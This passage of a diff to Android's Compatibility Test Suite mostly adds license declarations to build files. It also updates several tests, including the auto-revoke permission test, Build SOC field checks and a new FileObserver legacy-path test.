     name: "CtsNetSecConfigPrePCleartextTrafficTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
index c72adb0..88976ca 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecConfigCleartextTrafficTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
index 7eb9401..64f4538 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecConfigBasicDebugDisabledTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
index 4ae4b5b..8a092cd 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecConfigBasicDebugEnabledTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
index a0841a3..29c0d21 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecConfigDownloadManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
index d5599c0..84753b6 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecConfigInvalidPinTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
index 5ff160c..cb33156 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecConfigNestedDomainConfigTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
index 1e553ab..3089b32 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecConfigResourcesSrcTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index 9e285b5..019672c 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -20,6 +20,8 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsNNAPITestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/neuralnetworks/benchmark/AndroidTest.xml b/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
index e122f67..3ca1791 100644
--- a/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
@@ -26,6 +26,8 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="com.android.nn.benchmark.cts" />
+        <!-- test-timeout unit is ms, value = 15 min -->
+        <option name="test-timeout" value="900000" />
     </test>
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.mk b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
index 11f23c4..eb6f2c88 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.mk
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
@@ -17,10 +17,13 @@
 LOCAL_PATH:= external/tensorflow/
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsTfliteNnapiDelegateTests_static
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_SRC_FILES := \
     tensorflow/lite/delegates/nnapi/nnapi_delegate_test.cc \
     tensorflow/lite/kernels/test_util.cc \
     tensorflow/core/platform/default/logging.cc \
+    tensorflow/core/platform/default/env_time.cc \
     tensorflow/lite/kernels/acceleration_test_util.cc \
     tensorflow/lite/kernels/acceleration_test_util_internal.cc \
     tensorflow/lite/delegates/nnapi/acceleration_test_list.cc \
@@ -29,6 +32,7 @@
 
 LOCAL_C_INCLUDES += external/flatbuffers/include
 LOCAL_C_INCLUDES += external/tensorflow
+LOCAL_C_INCLUDES += external/ruy
 
 LOCAL_CFLAGS :=  \
     -DPLATFORM_POSIX_ANDROID \
@@ -42,7 +46,7 @@
 
 LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
 LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgmock_ndk libtflite_static
-LOCAL_HEADER_LIBRARIES := libeigen gemmlowp_headers
+LOCAL_HEADER_LIBRARIES := libeigen gemmlowp_headers libtflite_schema_headers
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_static
 include $(BUILD_STATIC_LIBRARY)
@@ -54,6 +58,8 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsTfliteNnapiDelegateTestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/nfc/Android.bp b/tests/tests/nfc/Android.bp
index 077ee09..6310fec 100644
--- a/tests/tests/nfc/Android.bp
+++ b/tests/tests/nfc/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNfcTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/Android.bp b/tests/tests/notificationlegacy/notificationlegacy20/Android.bp
index 9ca0411..affcee1 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy20/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLegacyNotification20TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/Android.bp b/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
index 4aca949..9f48a60 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLegacyNotification27TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/Android.bp b/tests/tests/notificationlegacy/notificationlegacy28/Android.bp
index fb8375e..6a52f46 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy28/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLegacyNotification28TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/Android.bp b/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
index 5003597..ba4b265 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLegacyNotification29TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
index 4318f7f..c756b37 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
@@ -71,7 +71,7 @@
     final String TAG = "NotAsstServiceTest";
     final String NOTIFICATION_CHANNEL_ID = "NotificationAssistantServiceTest";
     final int ICON_ID = android.R.drawable.sym_def_app_icon;
-    final long SLEEP_TIME = 500; // milliseconds
+    final long SLEEP_TIME = 1000; // milliseconds
 
     private TestNotificationAssistant mNotificationAssistantService;
     private TestNotificationListener mNotificationListenerService;
diff --git a/tests/tests/opengl/Android.bp b/tests/tests/opengl/Android.bp
index 6737c30..4ad0e55 100644
--- a/tests/tests/opengl/Android.bp
+++ b/tests/tests/opengl/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_helper_library {
     name: "cts-opengl-util",
 
diff --git a/tests/tests/opengl/libopengltest/Android.bp b/tests/tests/opengl/libopengltest/Android.bp
index b7cf454..aa2edcf 100644
--- a/tests/tests/opengl/libopengltest/Android.bp
+++ b/tests/tests/opengl/libopengltest/Android.bp
@@ -16,6 +16,10 @@
 // This is the shared library included by the JNI test app.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libopengltest_jni",
     srcs: [
diff --git a/tests/tests/openglperf/Android.bp b/tests/tests/openglperf/Android.bp
index 1da66cd..da7eaa7 100644
--- a/tests/tests/openglperf/Android.bp
+++ b/tests/tests/openglperf/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsOpenGlPerfTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/openglperf/AndroidTest.xml b/tests/tests/openglperf/AndroidTest.xml
index 57d452e..24516ef 100644
--- a/tests/tests/openglperf/AndroidTest.xml
+++ b/tests/tests/openglperf/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="config-descriptor:metadata" key="component" value="graphics" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/openglperf/jni/Android.bp b/tests/tests/openglperf/jni/Android.bp
index 2b8936c..a27b92b 100644
--- a/tests/tests/openglperf/jni/Android.bp
+++ b/tests/tests/openglperf/jni/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsopenglperf_jni",
     srcs: ["OpenGlPerfNativeJni.cpp"],
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index c3592a7..b5272b1 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsOsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 043578a2..582419f 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -19,6 +19,8 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := cts-platform-version-check
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_TAGS := optional
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
diff --git a/tests/tests/os/AutoRevokeDummyApp/Android.bp b/tests/tests/os/AutoRevokeDummyApp/Android.bp
index d4abfc0..1436586 100644
--- a/tests/tests/os/AutoRevokeDummyApp/Android.bp
+++ b/tests/tests/os/AutoRevokeDummyApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAutoRevokeDummyApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/os/AutoRevokePreRApp/Android.bp b/tests/tests/os/AutoRevokePreRApp/Android.bp
index 254f9eb..35f3a81 100644
--- a/tests/tests/os/AutoRevokePreRApp/Android.bp
+++ b/tests/tests/os/AutoRevokePreRApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAutoRevokePreRApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 72902e68..1d4b393 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOsTestCases.apk" />
@@ -43,6 +44,11 @@
         -->
     </test>
 
+    <!-- Create Place to store apks -->
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/os" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts/os" />
+    </target_preparer>
     <!-- Load additional APKs onto device -->
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
diff --git a/tests/tests/os/OWNERS b/tests/tests/os/OWNERS
new file mode 100644
index 0000000..3429892
--- /dev/null
+++ b/tests/tests/os/OWNERS
@@ -0,0 +1,4 @@
+per-file *AutoRevoke* = eugenesusla@google.com
+per-file *Companion* = eugenesusla@google.com
+per-file *AndroidManifest.xml = eugenesusla@google.com
+per-file *CtsOsTestCases.xml = eugenesusla@google.com
diff --git a/tests/tests/os/jni/Android.bp b/tests/tests/os/jni/Android.bp
index 616fe2e..c4508c2 100644
--- a/tests/tests/os/jni/Android.bp
+++ b/tests/tests/os/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_defaults {
     name: "libctsos_jni_defaults",
 
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index ab22e7e..44a5444 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -16,6 +16,8 @@
 
 package android.os.cts
 
+import android.app.Instrumentation
+import android.content.Context
 import android.content.Intent
 import android.content.Intent.ACTION_AUTO_REVOKE_PERMISSIONS
 import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
@@ -29,10 +31,10 @@
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiObject2
-import android.test.InstrumentationTestCase
 import android.view.accessibility.AccessibilityNodeInfo
 import android.widget.Switch
-import com.android.compatibility.common.util.textAsString
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
 import com.android.compatibility.common.util.MatcherUtils.hasTextThat
 import com.android.compatibility.common.util.SystemUtil
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
@@ -42,11 +44,19 @@
 import com.android.compatibility.common.util.click
 import com.android.compatibility.common.util.depthFirstSearch
 import com.android.compatibility.common.util.lowestCommonAncestor
+import com.android.compatibility.common.util.textAsString
 import com.android.compatibility.common.util.uiDump
 import org.hamcrest.CoreMatchers.containsString
 import org.hamcrest.CoreMatchers.containsStringIgnoringCase
+import org.hamcrest.CoreMatchers.equalTo
 import org.hamcrest.Matcher
+import org.junit.Assert.assertEquals
+import org.junit.Assert.assertFalse
 import org.junit.Assert.assertThat
+import org.junit.Assert.assertTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
 import java.lang.reflect.Modifier
 import java.util.concurrent.TimeUnit
 import java.util.concurrent.atomic.AtomicReference
@@ -61,7 +71,11 @@
 /**
  * Test for auto revoke
  */
-class AutoRevokeTest : InstrumentationTestCase() {
+@RunWith(AndroidJUnit4::class)
+class AutoRevokeTest {
+
+    private val context: Context = InstrumentationRegistry.getTargetContext()
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
 
     private val mPermissionControllerResources: Resources = context.createPackageContext(
             context.packageManager.permissionControllerPackageName, 0).resources
@@ -70,9 +84,27 @@
         const val LOG_TAG = "AutoRevokeTest"
     }
 
+    @Before
+    fun setup() {
+        // Kill Permission Controller
+        assertThat(
+                runShellCommand("killall " +
+                        context.packageManager.permissionControllerPackageName),
+                equalTo(""))
+
+        // Collapse notifications
+        assertThat(
+                runShellCommand("cmd statusbar collapse"),
+                equalTo(""))
+
+        // Wake up the device
+        runShellCommand("input keyevent KEYCODE_WAKEUP")
+        runShellCommand("input keyevent 82")
+    }
+
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testUnusedApp_getsPermissionRevoked() {
-        wakeUpScreen()
         withUnusedThresholdMs(3L) {
             withDummyApp {
                 // Setup
@@ -103,8 +135,8 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testUsedApp_doesntGetPermissionRevoked() {
-        wakeUpScreen()
         withUnusedThresholdMs(100_000L) {
             withDummyApp {
                 // Setup
@@ -127,8 +159,8 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testPreRUnusedApp_doesntGetPermissionRevoked() {
-        wakeUpScreen()
         withUnusedThresholdMs(3L) {
             withDummyApp(APK_PATH_2, APK_PACKAGE_NAME_2) {
                 withDummyApp {
@@ -168,8 +200,8 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testAutoRevoke_userWhitelisting() {
-        wakeUpScreen()
         withUnusedThresholdMs(4L) {
             withDummyApp {
                 // Setup
@@ -205,14 +237,15 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testInstallGrants_notRevokedImmediately() {
-        wakeUpScreen()
         withUnusedThresholdMs(TimeUnit.DAYS.toMillis(30)) {
             withDummyApp {
                 // Setup
                 goToPermissions()
                 click("Calendar")
                 click("Allow")
+                Thread.sleep(500)
                 goBack()
                 goBack()
                 goBack()
@@ -231,6 +264,7 @@
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
+    @Test
     fun testAutoRevoke_whitelistingApis() {
         withDummyApp {
             val pm = context.packageManager
@@ -258,11 +292,6 @@
         }
     }
 
-    private fun wakeUpScreen() {
-        runShellCommand("input keyevent KEYCODE_WAKEUP")
-        runShellCommand("input keyevent 82")
-    }
-
     private fun runAutoRevoke() {
         runShellCommand("cmd jobscheduler run -u 0 " +
                 "-f ${context.packageManager.permissionControllerPackageName} 2")
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index ca0f84a..b0a1a5e 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -20,6 +20,7 @@
 import static android.os.Build.VERSION_CODES.CUR_DEVELOPMENT;
 
 import android.os.Build;
+import android.os.SystemProperties;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RestrictedBuildTest;
 
@@ -85,9 +86,6 @@
 
         List<String> abiList = Arrays.asList(abiListProperty);
 
-        // Every device must support at least one 32 bit ABI.
-        assertTrue(Build.SUPPORTED_32_BIT_ABIS.length > 0);
-
         // Every supported 32 bit ABI must be present in Build.SUPPORTED_ABIS.
         for (String abi : Build.SUPPORTED_32_BIT_ABIS) {
             assertTrue(abiList.contains(abi));
@@ -221,6 +219,10 @@
         Pattern.compile("^([0-9A-Za-z.,_-]+)$");
     private static final Pattern PRODUCT_PATTERN =
         Pattern.compile("^([0-9A-Za-z._-]+)$");
+    private static final Pattern SOC_MANUFACTURER_PATTERN =
+        Pattern.compile("^([0-9A-Za-z ]+)$");
+    private static final Pattern SOC_MODEL_PATTERN =
+        Pattern.compile("^([0-9A-Za-z ._/+-]+)$");
     private static final Pattern SERIAL_NUMBER_PATTERN =
         Pattern.compile("^([0-9A-Za-z]{6,20})$");
     private static final Pattern SKU_PATTERN =
@@ -252,12 +254,26 @@
 
         assertNotEmpty(Build.MODEL);
 
+        assertEquals(Build.SOC_MANUFACTURER, Build.SOC_MANUFACTURER.trim());
+        assertTrue(SOC_MANUFACTURER_PATTERN.matcher(Build.SOC_MANUFACTURER).matches());
+        if (getVendorPartitionVersion() > Build.VERSION_CODES.R) {
+            assertFalse(Build.SOC_MANUFACTURER.equals(Build.UNKNOWN));
+        }
+
+        assertEquals(Build.SOC_MODEL, Build.SOC_MODEL.trim());
+        assertTrue(SOC_MODEL_PATTERN.matcher(Build.SOC_MODEL).matches());
+        if (getVendorPartitionVersion() > Build.VERSION_CODES.R) {
+            assertFalse(Build.SOC_MODEL.equals(Build.UNKNOWN));
+        }
+
         assertTrue(PRODUCT_PATTERN.matcher(Build.PRODUCT).matches());
 
         assertTrue(SERIAL_NUMBER_PATTERN.matcher(Build.SERIAL).matches());
 
         assertTrue(SKU_PATTERN.matcher(Build.SKU).matches());
 
+        assertTrue(SKU_PATTERN.matcher(Build.ODM_SKU).matches());
+
         assertTrue(TAGS_PATTERN.matcher(Build.TAGS).matches());
 
         // No format requirements stated in CDD for Build.TIME
@@ -339,4 +355,13 @@
         assertNotNull(value);
         assertFalse(value.isEmpty());
     }
+
+    private int getVendorPartitionVersion() {
+        String version = SystemProperties.get("ro.vndk.version");
+        try {
+            return Integer.parseInt(version);
+        } catch (NumberFormatException ignore) {
+            return Build.VERSION_CODES.CUR_DEVELOPMENT;
+        }
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 2f80d68..83d9760 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -65,7 +65,7 @@
      * Verifies {@link Build#FINGERPRINT} follows expected format:
      * <p/>
      * <code>
-     * (BRAND)/(PRODUCT)/(DEVICE):(VERSION.RELEASE)/(BUILD_ID)/
+     * (BRAND)/(PRODUCT)/(DEVICE):(VERSION.RELEASE_OR_CODENAME)/(BUILD_ID)/
      * (BUILD_NUMBER):(BUILD_VARIANT)/(TAGS)
      * </code>
      */
@@ -83,7 +83,7 @@
         String[] devicePlatform = fingerprintSegs[2].split(":");
         assertEquals(2, devicePlatform.length);
         assertEquals(Build.DEVICE, devicePlatform[0]);
-        assertEquals(Build.VERSION.RELEASE, devicePlatform[1]);
+        assertEquals(Build.VERSION.RELEASE_OR_CODENAME, devicePlatform[1]);
 
         assertEquals(Build.ID, fingerprintSegs[3]);
 
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index 4f934fb..2ce40fe 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -85,8 +85,9 @@
                 final String source = fields[0];
                 final String options = fields[3];
 
-                if (source.equals("proc") && !options.contains("hidepid=2")) {
-                    fail("proc filesystem mounted without hidepid=2");
+                if (source.equals("proc") && !options.contains("hidepid=2")
+                        && !options.contains("hidepid=invisible")) {
+                    fail("proc filesystem mounted without hidepid=2 or hidepid=invisible");
                 }
             }
         }
diff --git a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
new file mode 100644
index 0000000..e83b54a
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ConditionVariable;
+import android.os.FileObserver;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.MediaStore;
+import android.test.AndroidTestCase;
+import java.io.File;
+import java.io.OutputStream;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+public class FileObserverLegacyPathTest extends AndroidTestCase {
+    ConditionVariable mCond;
+    Context mContext;
+    File mTestDir;
+
+    @Override
+    protected void setUp() throws Exception {
+        mContext = getContext();
+        mCond = new ConditionVariable();
+
+        mTestDir = new File("/sdcard/DCIM/testdir");
+        mTestDir.delete();
+        mTestDir.mkdirs();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mTestDir.delete();
+    }
+
+    /* This test creates a jpg image file and write some test data to that
+     * file.
+     * It verifies that FileObserver is able to catch the CREATE, OPEN and
+     * MODIFY events on that file, ensuring that, in the case of a FUSE mounted
+     * file system, changes applied to the lower file system will be detected
+     * by a monitored FUSE folder.
+     * Instead of checking if the set of generated events is exactly the same
+     * as the set of expected events, the test checks if the set of generated
+     * events contains CREATE, OPEN and MODIFY. This because there may be other
+     * services (e.g., file indexing) that may access the newly created file,
+     * generating spurious events that this test doesn't care of and filters
+     * them out. */
+    @AppModeFull(reason = "Instant apps cannot access external storage")
+    public void testCreateFile() throws Exception {
+        String imageName = "image" + System.currentTimeMillis() + ".jpg";
+
+        final Integer eventsMask = FileObserver.OPEN | FileObserver.CREATE | FileObserver.MODIFY;
+        PathFileObserver fileObserver =
+                new PathFileObserver(mTestDir, eventsMask, mCond, Map.of(imageName, eventsMask));
+        fileObserver.startWatching();
+
+        ContentValues cv = new ContentValues();
+        cv.put(MediaStore.Files.FileColumns.DISPLAY_NAME, imageName);
+        cv.put(MediaStore.Files.FileColumns.RELATIVE_PATH, "DCIM/testdir");
+        cv.put(MediaStore.Files.FileColumns.MIME_TYPE, "image/jpg");
+
